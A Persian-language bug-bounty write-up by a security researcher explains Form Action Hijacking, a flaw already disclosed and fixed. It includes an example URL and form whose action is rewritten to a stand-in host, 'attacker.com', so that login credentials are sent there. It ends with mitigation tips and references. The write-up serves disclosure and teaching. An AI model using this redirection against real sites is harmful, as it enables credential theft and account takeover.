چگونه توانستم با تغییر آدرس action در فرم، Form Action Hijacking انجام بدم؟
آنچه میخوانید، رایتاپ رامین فرجپور، برنامهنویس و محقّق امنیتی، از فرآیند کشف آسیبپذیری بر روی یک برنامهی باگبانتی خصوصی است.
داخل پرانتز:
رامین گزارش مربوط به این آسیبپذیری را حدود ۷ ماه قبل بر روی یک برنامهی باگبانتی خصوصی ثبت کرده و در حال حاضر این آسیبپذیری رفع شده است.
چگونگی آسیبپذیر بودن سامانهها نسبت به Form Action Hijacking:
آسیبپذیری Form Action Hijacking این اجازه را به مهاجم میدهد تا با استفاده از پارامتری که در URL وجود دارد، property یا خصیصهی action یک تگ form در HTML صفحهی مورد نظر را تغییر دهد. مهاجم با در دست داشتن یک دامنه و تغییر URL آن میتواند عمل فرم ( Form Action) را در دست بگیرد. زمانی که مهاجم این تغییرات را در URL اعمال کند و کاربری روی لینک این URL تغییرکرده کلیک کند، تمام اطلاعات مختص به آن فرم (Form) به عمل (Action) مهاجم ارسال میگردد و حتی میتواند CSRF Token فرم را هم به سرقت ببرد.
انواع آسیبپذیری Form Action Hijacking:
• Reflected
• Stored
حالا هر یک از آسیب پذیریهای بالا را شرح میدهیم.
Reflected
این آسیبپذیری در وباپلیکیشنها در سمت کلاینت رخ میدهد؛ اگر مهاجم، URL را تغییر دهد و قربانی روی لینک کلیک کند، عمل (Action) برای فرم (Form) تغییر میکند.
به عنوان مثال، اگر یک صفحهی ورود کاربران را در نظر بگیریم:
وقتی این درخواست به سمت سرور برود، صفحهی ورود به سایت نمایان میشود.
1 2<form method="post" action="login" enctype="application/x-www-form-urlencoded"> 3 4<input type="hidden" name="username" value="" /> 5 6<input type="hidden" name="password" value="" /> 7 8</form> 9 10
در بالا ما میبینیم که action= login است.
حالا وقتی ما این URL را به آدرس زیر تغییر دهیم:
https://mydomain.com/login/attacker.com
1 2<form method="post" action="attacker.com" enctype="application/x-www-form-urlencoded"> 3 4<input type="hidden" name="username" value="" /> 5 6<input type="hidden" name="password" value="" /> 7 8</form> 9 10
میبینیم که به action=attacker.com تبدیل میشود. اگر کاربری درخواست را ارسال کند، نام کاربری و پسورد کاربر به سایت attacker.com ارسال میگردد و باعث تصاحب حساب کاربری و نشت اطلاعات میشود.
نکته: خط قرمز، همان خط کد آسیبپذیر است. خط سبز، خط کد ایمن است.
Stored
در بعضی از سایتها این امکان برای کاربران وجود دارد که کاربر، خودش URL را تعریف کند. مانند سایتهایی که مقاله مینویسند یا سایتهای خبری که خبر منتشر میکنند.
در این موارد، اطلاعات URL به این صورت تعریف میشود:
https://mydomain.com/please_find_me
action = please_find_me است. این قسمت از URL قبلا توسط نویسنده مقاله تعریف گردیده است و این امکان را برای مهاجم فراهم میسازد که هر مقادیری مانند سایت خودش را وارد کند.
دو نکته برای جلوگیری از بروز آسیبپذیری Form Action Hijacking:
• تمامی URL به صورت hard-code را تعریف کنیم.
• برای دامنهها WhiteList تعیین کنیم.
رامین فرجپور توصیه میکند برای آشنایی بیشتر با آسیبپذیری Form Action Hijacking منابع زیر رو بخونید:
https://portswigger.net/kb/issues/00501500_form-action-hijacking-reflected
https://cwe.mitre.org/data/definitions/73.html
https://www.acunetix.com/vulnerabilities/web/user-controlled-form-action/
سایر رایتاپهای رامین فرجپور:
• حملهی HTTP Flooding در تایید ایمیل برای سوءاستفاده بدون دخالت کاربر